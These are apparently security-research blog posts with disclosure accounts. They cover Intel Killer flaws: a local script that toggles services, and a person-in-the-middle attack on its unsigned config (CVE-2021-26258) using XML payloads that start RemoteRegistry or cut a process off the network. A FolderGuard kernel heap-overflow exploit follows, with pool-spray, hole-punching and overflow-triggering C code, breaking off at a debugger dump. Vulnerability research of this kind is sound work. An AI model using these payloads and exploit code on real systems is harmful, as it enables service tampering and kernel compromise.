#array of states, 2 is "running", 1 is "stopped"

$states = [int[]]@(2, 2, 1)
#array of waits

$waits = [bool[]]@($false, $false, $false)
$boostman.SetBoostedGroupCategoryActionList("UserDefined", $services, $starts, $states, $waits)
#enable boost mode

$boostman.GroupBoostEnabledState = 1

[Demo]

The following video demonstrates execution of scripts that disrupt Windows Update service, start Remote Registry and Remote Desktop services, and stop a popular ransomware target, Volume Shadow service. All of this is done from a non-administrative user account.

[Disclosure]

The disclosure process was pretty ugly. I submitted the vuln to Intel on Nov 9, 2021, and reminded them about it on Dec 15, 2021. They never replied. In May 2022 I submitted the vuln to Mitre and got some automated β€œwe-will-review-it” response. mitre.png In July 2022 I noticed an update to Killer and checked if the vuln was still present. It was not: Intel had released a quiet patch for it. I emailed Mitre once again, but got the same automated reply. So, the vuln didn’t get a CVE ID, and Intel hadn’t provided any information on the affected versions. I was not surprised by Intel’s behavior, vendors don’t like to admit their shit, but I didn’t expect that from Mitre. I guess it’s because Intel has their own CNA that handles vulns passed through Mitre. Keep this in mind when submitting vulnerabilities to Intel.

[Who is affected?]

Since Intel patched the vulnerability quietly, it’s not clear which version is safe. Also, it is unclear which OEMs are affected. Dell is definitely in the list, but it is likely that other vendors with Killer NICs on board, such as Acer and MSI, are affected too. Some users think that Killer suite is required for the NIC to work properly, so they install it even after a fresh Windows install. To determine if your Killer is vulnerable, run the following script:

try
{
  $clsid = New-Object Guid '7972960B-C3EE-4794-B28B-75F9D36760E6'
  $type = [Type]::GetTypeFromCLSID($clsid)
  $object = [Activator]::CreateInstance($type)

  try
  {
    $object.Initialize(5, 0, 0, "", "")
    Write-Host "Looks vulnerable"
  }
  catch [System.Runtime.InteropServices.COMException]
  {
    if ($_.Exception.ErrorCode -eq 0x80010110)
    {
      try
      {
        $object.Initialize(6, 0, 0, "", "")
      }
      catch [System.Runtime.InteropServices.COMException]
      {
        if ($_.Exception.ErrorCode -eq 0x8001011B)
        {
          Write-Host "Looks patched"
        }
        else
        {
          Write-Host "Unexpected exception"
        }
      }
    }
  }
}
catch [System.Runtime.InteropServices.COMException]
{
  if ($_.Exception.ErrorCode -eq 0x80070424)
  {
    Write-Host "Killer COM server not registered"
  }
  else
  {
    Write-Host "Unexpected exception"
  }
}

The script attempts to call IBandwidthControlManager::Initialize method, expecting it to throw an 0x8001011B exception, which indicates that this version of Killer is patched. Please note, that I have no any official information from Intel , so there is no warranty, explicit or implied.

If you want to uninstall Killer, be aware that the suite consists of two software packages: Killer Performance Driver Suite and the Microsoft store app called Killer Intelligence Center. Uninstalling the latter won’t do, since the COM server that exposes vulnerable interfaces is part of Killer Performance Suite, not Killer Intelligence Center.

[EOF]

The story doesn’t end here: I think that Intel Killer still has security issues, but I haven’t yet decided if I will research them or not, and whether it’s worth reporting them to Intel because it seems like a circus.

Diving into Intel Killer bloatware, part 1

18 December 2022 at 00:00

Killer Control Center before version 2.4.3337.0 is prone to tampering (person-in-the-middle) attack. Remote attacker can start, stop, enable or disable any service and block network access for any process in the OS regardless of their privileges. Killer Control Center downloads unsigned configuration file from Killer’s web server via plain HTTP. The configuration file contains, amongst other things, definitions of processes’ network bandwidth limits and directives for Killer’s Boost modes. Network limits allow to block a specific process from accessing network by process’s image name. Boost modes define which services should be on or off when the certain mode is enabled. Lack of signature of the configuration file makes it possible for the person-in-the-middle to maniuplate bandwidth limits and services on the remote computer by adding/modyfing entries to the configuration file during the update process. The update should be triggered by user via Killer Control Center UI. Bandwidth limit definitions get applied immediately upon the update while service definitions, dependently on settings, might need enabling Gamefast mode from the UI.

Some OEMs, e.g. Dell, preinstall Killer Control Center to their laptops which significantly increases the impact of the vulnerability. The vulnerability existed undetected for a few years, I guess starting from 2016. Intel has confirmed and fixed it, CVE-2021-26258 was assigned.

In this blog post I cover the details of the vulnerability, provide a PoC and show the video of the attack.




Some time ago I bought a slick and shiny Dell XPS. Many people don’t do fresh install after buying a laptop, so didn’t I because I wanted to research how vulnerable the default software package is. The research revealed a few security issues in Killer suite.

Originally Killer was developed by Rivet Networks for Killer-branded network cards. The cards and the accompanying application intended to improve gaming experience, e.g. to lower ping, which might be critical for gaming. Some time later Rivet and Intel co-operatively released a few gaming oriented NICs. Finally, in 2020 Intel acquired Rivet Networks, so these days Killer Control Center belongs to Intel.

Killer performance suite provides a few features to shape network traffic. The most fruitful for us features are Prioritization engine and Gamefast mode. Prioritization engine allows to set network bandwidth limits for a specific process, say, svchost.exe while Gamefast manipulates Windows services, e.g. enables and starts RemoteRegistry, once it detects execution of a gaming process. Definitions of what process is a gaming process, what to do with the serivces when it’s running and processes’ network bandwidth limits are stored rn.stg file located %ProgramData%\RivetNetworks\Killer\ConfigurationFiles\ folder. Killer’s management service runs under NT AUTHORITY\System account and uses WFP driver to implement bandwidth policies, which gives it enough pribileges to disrupt critical services and security related software.

It looks that in 2016 Rivet decided to gather definitions for the best gaming experience in a huge common rn.stg file and propagate it via their web server. Users could download and apply the file by clicking β€œDownload Latest App Priorities” button in Killer Control Center’s UI. The problem is that the downloading wasn’t secure enough: as said earlier the file wasn’t signed and got downloaded via plain HTTP, hence it could be faked by a person in the middle. Lack of verification let the attacker to apply aforementioned traffic shaping to the remote system. As of May 2021 and later rn.stg was not available at Killer’s web site but β€œDownload Latest App Priorities” button was still present in the UI making the attack possible.

In the following sections I will go over unpacking of rn.stg and show how to modify it to start a random (even disabled) service and to block a process from accessing network. Full code used in the blogpost is available in git repository.

[Unpacking rn.stg]

When user clicks β€œDownload Latest App Priorities” button Killer’s backing service KillerNetworkService.exe calls URLDownloadToFile API to download rn.stg from the server to rn.tmp file. KillerWindbg.png Upon successful downloading KillerNetworkService verifies MD5 of rn.tmp, copies rn.tmp to rn.stg, which is a persistent storage of Killer’s settings, and reloads rn.stg to adopt new definitions. rn.stg is a structed storage file that bears named stream rn.xml and user defined property MD5Checksum. The property contains the checksum of rn.xml stream and rn.xml stream in turn contains definitions for the prioritization engine. As it can be guessed from the stream name, the content of the stream is XML file. To make things less obvious, the content of rn.xml is encrypted with the most famous encryption operation ever: xor. Here’s how the decryption code looks like in HexRays:

DeXor.png

The decrypted rn.xml is huge, here is an excerpt from it:

<?xml version="1.0" encoding="UTF-16"?>
<BWC>
  <!--10/27/15 Version 0.1 - Initial Check-in Development.-->
  <!--08/30/16 Version 1.0 - First Release To Public Config Files-->
  <!--01/12/17 Version 2.0 - Compressible XML Files-->
  <!--07/07/17 Version 3.0 - Categories are now in full force (no attributes when we have a category)-->
  <!--08/25/17 Version 3.0 - No Change, but introduced new MultiInterfaceRoutingType Classes - Redundant with MultiInterface will rev version when removing redundant class-->
  <!--02/01/18 Version 4.0 - Adding ActivityRules and renaming Rules to ProcessDomainRules-->
  <!--09/01/18 Version 5.0 - Adding BoostedGroups And now VersionCheck now ignores Minor Versions differences for XML Files -->
  <!--12/07/18 Version 5.1 - Removed Redundant with MultiInterface Node- No Need to rev version as Version 4 on software will not look for this old tag.-->
  <!--07/24/19 Version 5.2 - Added ContentMajor and ContentMinor to Version tag.-->
  <!--07/29/19 Version 5.2 - Changed to ContentVersion to Version tag.-->
  <!--09/06/19 Version 5.3 - Combined Killer and Creators and using Profiles.-->
  <!--10/16/19 Version 5.4 - Changed names of Profile Killer to Gaming, Categories Creator/Games to Profile - Should up the major version as old app not compatible with config file but service is.-->
  <!--10/17/19 Version 6.0 - Reverted Category Profile Change now back to Creator/Games.  Also increasing Major Version as Service API/APP got upgraded although not required by service but by App-->
  <!--02/28/20 Version 7.0 - Removed Current Profile Tag - code has default and also now overridable in registry-->
  <!-- Also update Version in KillerNetwork_Service\Service\SharedSource\inc\BWCXMLCommon.h-->
  <Version Major="7" Minor="0" ContentVersion="1.0.0"/>
  <Gaming>
    <Configuration Comment="Updated: 2020.09.08"/>
      <ActivityRules>
        <Rule Name="EdgeConditionMatch" Type="PortConnectionDisconnection">
          <Action Name ="ComputePriorityAndConnectionCount" Argc="0"/>
        </Rule>
      </ActivityRules>
      <BoostedGroups>
        <BoostedGroup Type="Category" Name="Games">
          <Success_Action>
            <Action Name="ServiceAction" Argc="4" Argument1="AppleMobileDeviceService" Argument2="4" Argument3="1" Argument4="0"/>
            <Action Name="ServiceAction" Argc="4" Argument1="AJRouter" Argument2="4" Argument3="1" Argument4="0"/>
            <Action Name="ServiceAction" Argc="4" Argument1="DiagTrack" Argument2="4" Argument3="1" Argument4="0"/>
            <Action Name="ServiceAction" Argc="4" Argument1="Dmwappushservice" Argument2="4" Argument3="1" Argument4="0"/>
            <Action Name="ServiceAction" Argc="4" Argument1="DPS" Argument2="4" Argument3="1" Argument4="0"/>
            <Action Name="ServiceAction" Argc="4" Argument1="DusmSvc" Argument2="4" Argument3="1" Argument4="0"/>
            <Action Name="ServiceAction" Argc="4" Argument1="FrontCache" Argument2="4" Argument3="1" Argument4="0"/>
            <Action Name="ServiceAction" Argc="4" Argument1="HomeGroupProvider" Argument2="4" Argument3="1" Argument4="0"/>
            <Action Name="ServiceAction" Argc="4" Argument1="KillerSmartConnectService" Argument2="4" Argument3="1" Argument4="0"/>
            <Action Name="ServiceAction" Argc="4" Argument1="MapsBroker" Argument2="4" Argument3="1" Argument4="0"/>
            <Action Name="ServiceAction" Argc="4" Argument1="NcdAutoSetup" Argument2="4" Argument3="1" Argument4="0"/>
            <Action Name="ServiceAction" Argc="4" Argument1="PcaSvc" Argument2="4" Argument3="1" Argument4="0"/>
            <Action Name="ServiceAction" Argc="4" Argument1="PlexUpdateService" Argument2="4" Argument3="1" Argument4="0"/>
...

[Starting a service]

Gamefast feature tries to optimize memory usage by disabling or enabling certain services when user plays a game. If the feature is on, Killer monitors running processes to figure out if user plays a game. Once gaming process is detected, Killer goes over the list of services stored in rn.xml and applies the corresponding service action to every service in the list.

The database of services and the corresponding actions is stored under BoostedGroups node of rn.xml:

<BoostedGroups>
  <BoostedGroup Type="Category" Name="Games">
    <Success_Action>
      <Action Name="ServiceAction" Argc="4" Argument1="AppleMobileDeviceService" Argument2="4" Argument3="1" Argument4="0"/>
      ...

Each Action node and its attributes represent a service and what shoud be done on it once a game is detected.

Attribute Argument1 designates name of the service in question. Argument2 is service’s start type which is usually either SERVICE_AUTO_START (0x00000002) or SERVICE_DISABLED (0x00000004). Killer calls ChangeServiceConfigW API for the service passing to it the value of the attribute. It lets the attacker to enable or to disable any service in the OS: dwStartType.png

Argument3 controls state of the service, which lets to start or to stop it remotely. Values 1, 3, 6, 7 stop the service whereas 2, 4, 5 start it:

StartStop.png

Finally, Argument4 tells KillerNetworkService wether it should wait until the service actually changes its state or return immediately. Setting this value to zero worked perfectly for me.

The following XML snippet enables and runs RemoteRegistry service:

<BoostedGroups>
  <BoostedGroup Type="Category" Name="Games">
    <Success_Action>
      <Action Name="ServiceAction" Argc="4" Argument1="RemoteRegistry" Argument2="2" Argument3="2" Argument4="0"/>
    </Success_Action>
  </BoostedGroup>
</BoostedGroups>

[Blocking a process]

Prioritization engine allows to shape network traffic by setting network bandwidth limits for a specific process. To enforce bandwidth policies Killer uses Windows Filtering Platform driver named KfeCo10X64.sys, which allows to block network access for a process regardless of its privileges. The list of processes and their network limits is stored in rn.xml under ProcessDomainRules node. The list consists of Rule child nodes each of them representing a process to be limited. It is easier to explain the structure of Rule node with an example. The following XML snippet disables both upload and download traffic for Discrod.exe by setting BandwidthUp and BandwidthDown attributes to zero.

<ProcessDomainRules>
  <Rule Name="Match By Name" Type="Process">
    <Action Name="MatchName" Argc="1" Argument1=".*\\Discord\.exe" />
    <Success_Action>
      <Action Name="SetAttribute" Argc="2" Argument1="Category" Argument2="Downloads" />
      <Action Name="SetAttribute" Argc="2" Argument1="BandwidthUp" Argument2="0" />
      <Action Name="SetAttribute" Argc="2" Argument1="BandwidthDown" Argument2="0" />
    </Success_Action>
  </Rule>
</ProcessDomainRules>

It worth to note that Killer identifies processes using their pathnames and uses wild characters to make identification more flexible. Setting Argument1 attribute in the snippet above to β€œ.*\Discord.exe” applies the limits to all Discord.exe processes regardless of their root directory. If you rename a random executable to Discord.exe and run it, the process won’t be able to perform network communication just because of its image name.

Unlike Gamefast, prioritization engine is enabled by default and doesn’t require any user interaction. The database of network limits gets applied immediately once rn.stg is updated. The pic below shows how networkless Discord looks like. NoDiscord.png

[Demo]

Now we have everything to assemble XML snippets scattered in the post into single rn.stg file and run our demo.

First of all we need to create custom rn.stg with a stream named rn.xml and a property named MD5Checksum. Then we need to encrypt our custom XML file, calculate its MD5, write the encrypted content to rn.xml stream and write MD5 to MD5Checksum property. The source code of the application that extracts XML content from rn.stg and creates rn.stg from XML file is available in the repository.

Second, we need to set up the environment that imitates person in the middle attack. In the real life such attack can be done, say, via rogue WiFi spot, but for simplicity let’s use a tiny web server written in Python. The web server doesn’t do anything but serves all HTTP requests with custom rn.stg that should be placed in the same directory as the server. The source code of the server is also available at github. To redirect requests from killernetworking.com to the local web server add the following entry to hosts file: 127.0.0.1 www.killernetworking.com

Once the web server and hosts file are set we are ready to click β€œDownload Latest App Priorities” button in Killer’s UI to download custom rn.stg file. Normally downloading would fail because the original rn.stg is moved from Killer’s server but in case of attack downloading should succeed, which means that Killer fetched and parsed rogue rn.stg. Here is the video of the attack:

[Disclosure]

Disclosure process wasn’t that straightforward. I spotted the vulnerability in June 2021. It took me some time to figure out details and submit them to Intel. We exchanged a few messages and in October 2021 they replied that β€œthe vulnerability was present in the software when Killer was still owned by Rivet and the first version of the software under the Intel brand did not have this vulnerability. Intel never posted or distributed a version of the software that has this vulnerability.” Despite of that Intel awarded me with 1500 USD of bug bounty. Yet I felt a bit perplexed: what is it, an orphaned vuln? Or is it Dell’s issue? I informed Dell about the vulnerability and soon after that they released an update that fixed Killer Control Center. I then messaged Dell again to make sure I can disclose. They replied that Intel has confirmed the vuln and now want to make sure that other OEMs have adopted the update, which was a bit weird for a vuln that was not present anywhere. Anyway, the disclosure was postponed to February 2022 and then to May 2022. Finally, on May 10 Intel released the SA and Dell released the DSA. Long way, ah?

Disclosure timeline: Timeline.png

[To be concluded]

So, it took more than six months for Intel (or Dell?) to fix Killer Control Center. Also, it got renamed to Killer Intelligence Center. I didn’t figure out if it was Dell issue or Intel issue.

Dell is not the only OEM that preinstalls Killer, so does MSI, Acer, maybe other vendors too. I didn’t check if they use fixed version of Killer but I hope that Intel have notified relevant OEMs. There is simple way to know if you are using safe version of Killer from its look: GUI of the fixed version is very different from the old one: KillerOld.png KillerNew.png

The story doesn’t end here. Some time later I found another vulnerablity in Killer suite that affects way more OEMs and reported it to Intel. Intel never replied to me but released a quiet patch that fixed it. I also reported the vuln to Mitre to get a CVE ID but, guess what, Intel have their own CNA, so the CVE request got ignored too. Since the vuln is patched I feel free to disclose it in the next post.

Exploiting FGuard.sys

1 September 2017 at 00:00

Some time ago I looked for a driver to play with. I wanted to find a vuln and to exploit it. After picking a few random drivers from the internet I’ve stumbled upon Folder guard. This application implements folder locking with password, you can read more at: https://www.winability.com/folderguard/ To enforce folder locking FolderGuard leverages legacy file system filter driver fguard32[64].sys. ***

Examination of configuration parser revealed kernel heap overflow in the parser of passwords file (FGuard.fgp). When user locks folder from the UI, FolderGuard creates an entry in the fgp file with the following layout:

00000000 PROTECTED_DIR_DESCRIPTOR struc ; (sizeof=0x2A4, mappedto_295)
00000000 HashCount       dd ?
00000004 field_4         dd ?
00000008 PathName        dw 260 dup(?)
00000210 field_210       dd ?
00000214 Hash            db 32 dup(?)
00000234 Padding         dd 28 dup(?)
000002A4 PROTECTED_DIR_DESCRIPTOR ends

Pay attention to HashCount and Hash fields, this where we will have fun. On loading or receiving certain IoCtl the driver parses the fgp file and creates in-memory list of entries. The parser doesn’t verify HashCount field allowing an attacker to set it to a bigger value than actual amount of entries.

    // Allocation of the entry buffer
    PassDescrBuff = ExAllocatePoolWrap(0x2A4u);
    pPassDescr = 0;
    // Initialze allocated entry
    if (PassDescrBuff)
        pPassDescr = InitPasswordDescr(PassDescrBuff, 0, 0);
    // Lol, what if the allocation fails?
    pPassDescr->HashCount = *v5;
    pPassDescr->field_4 = v5[1];
    SafeCopyWStringWrap(pPassDescr->PathName, 0x104u, (int)(v5 + 2));
    v8 = pPassDescr->PathName;
    do
    {
        v9 = *v8;
        ++v8;
    } while (v9);
    UpcaseWString((WCHAR *)pPassDescr->PathName, v8 - &pPassDescr->PathName[1] + 1);
    Count = 0;
    if (pPassDescr->HashCount)
    {
        v25 = v5 + 0x85;
        v10 = &pPassDescr->field_210;
        v11 = (char *)v5 - (char *)pPassDescr;
        do
        {
            v12 = *(int *)((char *)v10 + v11);
            v13 = v25;
            ++Count;
            v25 += 9;
            *v10 = v12;
            // Welcome the overflow
            qmemcpy(v10 + 1, v13, 0x20u);
            v10 += 9;
            // We control pPassDescr->HashCount, hence control the overflow
        } while (Count < pPassDescr->HashCount);
        v5 = v23;
    }

So, we can overflow the buffer with arbitrary content that comes from the fgp file. Starting with Windows 8 kernel buffer overflows are not that useful. Windows 7, however, has less mitigations and is vulnerable to heap spray attack.

[Spray different]

I didn’t want just copypaste an existing kernel heap spray implementation but rather wanted to do my own. Browsing HEVD source code I’ve decided to spray the heap with one of the Object manager objects. Creating an object wasn’t a problem: calling certain API function gazillion times did the job. Passing control to the allocated object or some arbitrary code was more problematic.

[FAST_IO_DISPATCH to the rescue]

Windows asynchronus IO model heavily relies on I/O Request Packet (IRP) concept. Whenever an application requests an IO operation from a driver Windows kernel allocates an IRP structure and sends it down to the target device stack. While travelling the stack an IRP might be pended by any driver, e.g. in case the driver doesn’t have the requested data at the moment. Some drivers, however, don’t need these complications. And this is where FAST_IO_DISPATCH comes into play. If a driver can complete requests solely by itself, it can register fast dispatch handlers by setting FastIoDispatch field of its driver object. (I think it’s a must for all FSD drivers). _FAST_IO_DISPATCH struct is just a function table:

typedef struct _FAST_IO_DISPATCH {
  ULONG                                  SizeOfFastIoDispatch;
  PFAST_IO_CHECK_IF_POSSIBLE             FastIoCheckIfPossible;
  PFAST_IO_READ                          FastIoRead;
  PFAST_IO_WRITE                         FastIoWrite;
  PFAST_IO_QUERY_BASIC_INFO              FastIoQueryBasicInfo;
  PFAST_IO_QUERY_STANDARD_INFO           FastIoQueryStandardInfo;
  PFAST_IO_LOCK                          FastIoLock;
  PFAST_IO_UNLOCK_SINGLE                 FastIoUnlockSingle;
  PFAST_IO_UNLOCK_ALL                    FastIoUnlockAll;
  PFAST_IO_UNLOCK_ALL_BY_KEY             FastIoUnlockAllByKey;
  PFAST_IO_DEVICE_CONTROL                FastIoDeviceControl;
  PFAST_IO_ACQUIRE_FILE                  AcquireFileForNtCreateSection;
  PFAST_IO_RELEASE_FILE                  ReleaseFileForNtCreateSection;
  PFAST_IO_DETACH_DEVICE                 FastIoDetachDevice;
  PFAST_IO_QUERY_NETWORK_OPEN_INFO       FastIoQueryNetworkOpenInfo;
  PFAST_IO_ACQUIRE_FOR_MOD_WRITE         AcquireForModWrite;
  PFAST_IO_MDL_READ                      MdlRead;
  PFAST_IO_MDL_READ_COMPLETE             MdlReadComplete;
  PFAST_IO_PREPARE_MDL_WRITE             PrepareMdlWrite;
  PFAST_IO_MDL_WRITE_COMPLETE            MdlWriteComplete;
  PFAST_IO_READ_COMPRESSED               FastIoReadCompressed;
  PFAST_IO_WRITE_COMPRESSED              FastIoWriteCompressed;
  PFAST_IO_MDL_READ_COMPLETE_COMPRESSED  MdlReadCompleteCompressed;
  PFAST_IO_MDL_WRITE_COMPLETE_COMPRESSED MdlWriteCompleteCompressed;
  PFAST_IO_QUERY_OPEN                    FastIoQueryOpen;
  PFAST_IO_RELEASE_FOR_MOD_WRITE         ReleaseForModWrite;
  PFAST_IO_ACQUIRE_FOR_CCFLUSH           AcquireForCcFlush;
  PFAST_IO_RELEASE_FOR_CCFLUSH           ReleaseForCcFlush;
} FAST_IO_DISPATCH, *PFAST_IO_DISPATCH;

When an application performs an IO operation, syscall handler (e.g. NtReadFile in case of ReadFile) checks FO_SYNCHRONOUS_IO flag of the corresponding file object and, if it’s set, calls FastIo handler of the corresponding driver object. Sounds promising, isn’t it?

[Let’s do it]

So, using the overflow, we will build the following chain of object in the kernel pool: Object chain We can’t do it with a single overflow, instead, we will trigger the overflow a few times, building one object at a time in reverse order. After every successfull overflow we need to locate the constructed object in memory and to use the obtained pointer to build the next object. To locate the object we mark it with special PointerCount and HandleCount values in the object header. Once overflow succeeds we use NtQueryObject to figure out which handle in the array points to the object and then use NtQuerySystemInformation to get the address of the object. Since fguard.sys reads the fgp file from disk, we drop the rogue fgp file before every overflow.

After dropping the file we start with regular spraying:

BOOL SprayObjects()
{
    BOOL   r;
    DWORD  err;

    r = TRUE;
    RtlFillMemory(ObjectArrayA, sizeof(ObjectArrayA), 0x0);
    RtlFillMemory(ObjectArrayB, sizeof(ObjectArrayB), 0x0);

    for (UINT32 i = 0; i < ARR_1_LEN; i++)
    {
        ObjectArrayA[i] = CreateFileW(L"1.txt", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 0, OPEN_ALWAYS, 0, NULL);

        if (ObjectArrayA[i] == INVALID_HANDLE_VALUE)
        {
            err = GetLastError();
            printf("CreateFileW failed: %d\n", err);
            r = FALSE;
            goto Exit;
        }
    }

    for (UINT32 i = 0; i < ARR_2_LEN; i++)
    {
        ObjectArrayB[i] = CreateFileW(L"1.txt", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 0, OPEN_ALWAYS, 0, NULL);

        if (ObjectArrayB[i] == INVALID_HANDLE_VALUE)
        {
            err = GetLastError();
            printf("CreateFileW failed: %d\n", err);
            r = FALSE;
            goto Exit;
        }
    }

Exit:
    return r;
}

Then we create holes. Every hole should be slightly bigger than the size of PROTECTED_DIR_DESCRIPTOR (0x2A4 bytes):

BOOL CreateHoles()
{
    BOOL   r;
    UINT32 i = 0;
    UINT32 j = 0;

    r = TRUE;
    for (i = 0; i < ARR_2_LEN; i += 16)
    {
#ifdef _AMD64_
        for (j = 0; j < 3; j++)
#else
        for (j = 0; j < 4; j++)
#endif
        {
            if (CloseHandle(ObjectArrayB[i + j]) == TRUE)
            {
                ObjectArrayB[i + j] = NULL;
            }
            else
            {
                DWORD err;

                err = GetLastError();
                printf("CloseHandle for " __FUNCTION__ " failed: %d\n", err);
                r = FALSE;
                goto Exit;
            }
        }
    }

Exit:
    return r;
}

Trigger the overflow by issueing the IoCTL:

DeviceIoControl(hDevice, 0x85020004, &InputBuffer, 8, &OutBuffer, 4, &ReturnedLength, NULL);

Go over the array looking for the handle:

HANDLE LookupMarkedHandle()
{
    HANDLE r;
    UINT32 i;
    OBJECT_BASIC_INFORMATION ObjInfo;

    r = NULL;

    for (i = 0; i < ARR_2_LEN; i++)
    {
        if ((ObjectArrayB[i]) != NULL &&
            (QueryObject(ObjectArrayB[i], &ObjInfo) == TRUE))
        {
            if (ObjInfo.HandleCount >= 0x2000)
            {
                r = ObjectArrayB[i];
                break;
            }
        }
    }

    return r;
}

Get the address of the object:

PVOID GetObjectByHandle(HANDLE hObject)
{
    BOOL     r;
    NTSTATUS status;
    DWORD    Pid;
    DWORD    ReturnedLength;
    PVOID    pObject;
    SYSTEM_HANDLE_INFORMATION_EX  HandleInfo;
    PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo;

    r = FALSE;
    pObject = NULL;

    NtQuerySystemInformation_t pNtQuerySysInfo;
    pNtQuerySysInfo = (NtQuerySystemInformation_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
    if (pNtQuerySysInfo == NULL)
    {
        printf("Failed to get NtQuerySystemInformation\n");
        goto Exit;
    }

    status = pNtQuerySysInfo(SystemExtendedHandleInformation, &HandleInfo, sizeof(HandleInfo), &ReturnedLength);
    if (status != STATUS_INFO_LENGTH_MISMATCH)
    {
        printf("NtQuerySystemInformation unexpected status: %x\n", status);
        goto Exit;
    }

    pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)HeapAlloc(GetProcessHeap(), 0, ReturnedLength);
    if (pHandleInfo == NULL)
    {
        printf("HeapAlloc for " __FUNCTION__ " failed\n");
        goto Exit;
    }

    status = pNtQuerySysInfo(SystemExtendedHandleInformation, pHandleInfo, ReturnedLength, &ReturnedLength);
    if (NT_SUCCESS(status) == FALSE)
    {
        printf("NtQuerySystemInformation failed: %x\n", status);
        goto FreeExit;
    }

    Pid = GetCurrentProcessId();
    for (ULONG_PTR i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if ((pHandleInfo->Handles[i].UniqueProcessId == Pid))
        {
            if (pHandleInfo->Handles[i].HandleValue == (ULONG_PTR)hObject)
            {
                pObject = pHandleInfo->Handles[i].Object;
                break;
            }
        }
    }

FreeExit:
    HeapFree(GetProcessHeap(), 0, pHandleInfo);
Exit:
    return pObject;
}

Glueing all together:

BOOL Overflow(
    HANDLE hDevice,
    PVOID *pObject,
    PHANDLE pHandle
)
{
    BOOL  r;
    DWORD ReturnedLength;
    LARGE_INTEGER InputBuffer;
    DWORD OutBuffer;
    DWORD err;

    *pObject = NULL;
    *pHandle = NULL;

    r = SprayObjects();
    if (r == FALSE)
    {
        printf("SprayObjects failed\n");
        goto Exit;
    }
    r = CreateHoles();
    if (r == FALSE)
    {
        printf("CreateHoles failed\n");
        goto Exit;
    }

    InputBuffer.LowPart = 0xFFFFFFFF;
    InputBuffer.HighPart = 0xFFFFFFFF;
    r = DeviceIoControl(hDevice, 0x85020004, &InputBuffer, 8, &OutBuffer, 4, &ReturnedLength, NULL);
    if (r == FALSE)
    {
        err = GetLastError();
        printf("DeviceIoControl 'on' failed: %d\n", err);
    }
    else
    {
        *pHandle = LookupMarkedHandle();
        if (*pHandle == NULL)
        {
            printf("LookupMarkedHandle failed\n");
        }
        else
        {
            *pObject = GetObjectByHandle(*pHandle);
            if (*pObject == NULL)
            {
                printf("GetObjectByHandle for handle: %p failed\n", *pHandle);
                *pHandle = NULL;
            }
            else
            {
                printf("Object: %p, keeping handle %p\n", *pObject, *pHandle);
            }
        }

        InputBuffer.LowPart = 0x0;
        InputBuffer.HighPart = 0x0;
        r = DeviceIoControl(hDevice, 0x85020004, &InputBuffer, 8, &OutBuffer, 4, &ReturnedLength, 0);
        if (r == FALSE)
        {
            err = GetLastError();
            printf("DeviceIoControl 'off' failed: %d\n", err);
        }
    }

    r = FreeObjects(*pHandle);
    if (r == FALSE)
    {
        printf("FreeObjects failed\n");
        goto Exit;
    }

Exit:
    return r;
}

Now let’s move to the content of the fgp file. The first object we build is the payload, the code that will be called by nt!NtReadFile. If spraying was successfull we expect to get the following memory layout just before the overflow (which happens at fguard32+B4C8 for 32bit driver):

kd> !pool @edi
Pool page 864e9d44 region is Nonpaged pool
 864e9000 size:   b8 previous size:    0  (Allocated)  File (Protected)
 864e90b8 size:  1a0 previous size:   b8  (Free)       ....
 864e9258 size:   b8 previous size:  1a0  (Allocated)  File (Protected)
 864e9310 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e93c8 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9480 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9538 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e95f0 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e96a8 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9760 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9818 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e98d0 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9988 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9a40 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9af8 size:   30 previous size:   b8  (Free)       File
*864e9b28 size:  2b0 previous size:   30  (Allocated) *None              ;PROTECTED_DIR_DESCRIPTOR buffer
		Pooltag None : call to ExAllocatePool
 864e9dd8 size:   b8 previous size:  2b0  (Allocated)  File (Protected)  ;This FILE_OBJECT will be overwitten
 864e9e90 size:   b8 previous size:   b8  (Allocated)  File (Protected)
 864e9f48 size:   b8 previous size:   b8  (Allocated)  File (Protected)

The content of the file object before the overflow:

kd> db 865228d0 LB8
865228d0  56 00 17 04 46 69 6c e5-00 04 00 00 f8 00 00 00  V...Fil.........
865228e0  00 00 00 00 00 00 00 00-48 58 96 85 01 00 00 00  ........HX......
865228f0  01 00 00 00 01 00 00 00-00 00 00 00 1c 00 0c 40  ...............@
86522900  40 c0 8c 85 00 00 00 00-05 00 80 00 18 12 c0 84  @...............
86522910  48 a9 bf 84 f8 39 48 a2-90 5b 53 a2 a0 ed 7e 85  H....9H..[S...~.
86522920  00 00 00 00 00 00 00 00-b8 68 d8 85 00 00 01 00  .........h......
86522930  00 01 01 01 42 00 04 00-14 00 14 00 08 ce 7a 8f  ....B.........z.
86522940  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
86522950  00 00 00 00 01 00 04 00-00 00 00 00 5c 29 52 86  ............\)R.
86522960  5c 29 52 86 00 00 04 00-01 00 00 00 6c 29 52 86  \)R.........l)R.
86522970  6c 29 52 86 00 00 00 00-00 00 00 00 7c 29 52 86  l)R.........|)R.
86522980  7c 29 52 86 00 00 00 00                          |)R.....
kd> dt _object_header 865228f0
nt!_OBJECT_HEADER
   +0x000 PointerCount     : 0n1
   +0x004 HandleCount      : 0n1
   +0x004 NextToFree       : 0x00000001 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0x1c ''
   +0x00d TraceFlags       : 0 ''
   +0x00e InfoMask         : 0xc ''
   +0x00f Flags            : 0x40 '@'
   +0x010 ObjectCreateInfo : 0x858cc040 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x858cc040 Void
